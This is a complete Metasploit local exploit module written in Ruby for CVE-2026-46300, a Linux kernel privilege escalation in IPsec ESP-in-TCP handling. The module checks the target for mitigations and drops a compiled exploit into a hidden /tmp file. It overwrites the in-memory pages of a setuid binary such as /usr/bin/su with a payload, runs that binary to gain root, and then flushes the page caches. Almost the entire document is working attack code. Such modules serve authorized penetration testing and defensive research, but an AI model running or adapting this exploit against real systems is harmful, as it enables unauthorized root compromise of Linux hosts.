## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Post::Architecture include Msf::Post::Process include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Fragnesia LPE (CVE-2026-46300)', 'Description' => %q{ This module exploits CVE-2026-46300, a Linux kernel local privilege escalation vulnerability introduced in version 4.10. The flaw resides in the kernel's IPsec ESP-in-TCP handling: when an ESP-encapsulated TCP segment containing a shared fragment (SKBFL_SHARED_FRAG) is received and decrypted, the AES-GCM keystream is applied to page cache pages of the target file without enforcing write permissions. This allows an unprivileged attacker to overwrite arbitrary bytes of a read-only file backed by the page cache. Upstream fix is ported independently by different vendors, so there's release version from which each kernel is not vulnerable anymore. }, 'References' => [ ['CVE', '2026-46300'], ['URL', 'https://github.com/v12-security/pocs/tree/main/fragnesia'] ], 'Author' => [ 'William Bowling', # discovery / PoC 'msutovsky-r7' # metasploit module ], 'DisclosureDate' => '2026-05-14', 'License' => MSF_LICENSE, 'Arch' => ARCH_CMD, 'Platform' => ['linux', 'unix'], 'Targets' => [['Automatic', {}]], 'SessionTypes' => ['shell', 'meterpreter'], 'Privileged' => true, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ]), OptString.new('SUID_BINARY_PATH', [ true, 'The path to a suid binary', '/usr/bin/su' ]) ]) end def check # it is based on same principle as dirty frag, so we can check the same mitigations dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag') return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank? sysinfo = get_sysinfo if sysinfo[:distro] =~ /[uU]buntu/ apparmor_restriction = cmd_exec('sysctl kernel.apparmor_restrict_unprivileged_userns') return CheckCode::Safe('Ubuntu system detected, cannot create unprivileged user namespaces, which exploit requires') unless apparmor_restriction =~ /apparmor_restrict_unprivileged_userns = 0/ end vuln_modules = %w[esp ipcomp] return CheckCode::Unknown('The vulnerable modules have not been detected') unless kernel_modules.any? { |m| vuln_modules.include?(m) } kernel_version = Rex::Version.new(kernel_release.split('-').first) return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('4.10') CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected') end def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' end suid_binary_path = datastore['SUID_BINARY_PATH'] fail_with(Failure::BadConfig, "The #{suid_binary_path} isn't a setuid binary on target system") unless setuid?(suid_binary_path) payload_dir = datastore['WRITABLE_DIR'] fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir) os_architecture = kernel_arch vprint_status("Detected architecture: #{os_architecture}") cmd_payload = framework.payloads.create("linux/#{os_architecture}/exec") fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid') cmd_payload.datastore['CMD'] = payload.encoded cmd_payload.datastore['PrependSetuid'] = true elf = cmd_payload.generate_simple('Format' => 'elf') exploit_file = "#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" if live_compile? vprint_status('Live compiling exploit on system...') exploit_c = exploit_data('CVE-2026-46300', 'cve-2026-46300.c') upload_and_compile(exploit_file, exploit_c) else fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(os_architecture) vprint_status('Dropping pre-compiled exploit on system...') exploit_bin = exploit_data('CVE-2026-46300', "cve-2026-46300_#{os_architecture}") upload_and_chmodx(exploit_file, exploit_bin) end register_file_for_cleanup(exploit_file) if session.type == 'meterpreter' suid_binary_size = session.fs.file.stat(suid_binary_path).stathash['st_size'] else suid_binary_size = session.shell_command("stat -c %s #{suid_binary_path}").to_i end print_status('Running the exploit') fail_with(Failure::BadConfig, 'Payload too big for target setuid binary') unless suid_binary_size >= elf.size # patch the in-memory pages of the setuid file exploit_response = cmd_exec("echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}") fail_with(Failure::NotVulnerable, 'The target seems to be patched') unless exploit_response.blank? sleep(1) print_status('Exploit successful, running the in-memory patched setuid binary') # run the payload cmd_exec(suid_binary_path.to_s) end def on_new_session(session) if session.type.eql?('meterpreter') session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') session.sys.process.execute('/bin/sh', "-c 'echo 1 | tee /proc/sys/vm/drop_caches'") else session.shell_command_token('echo 1 | tee /proc/sys/vm/drop_caches') end super end end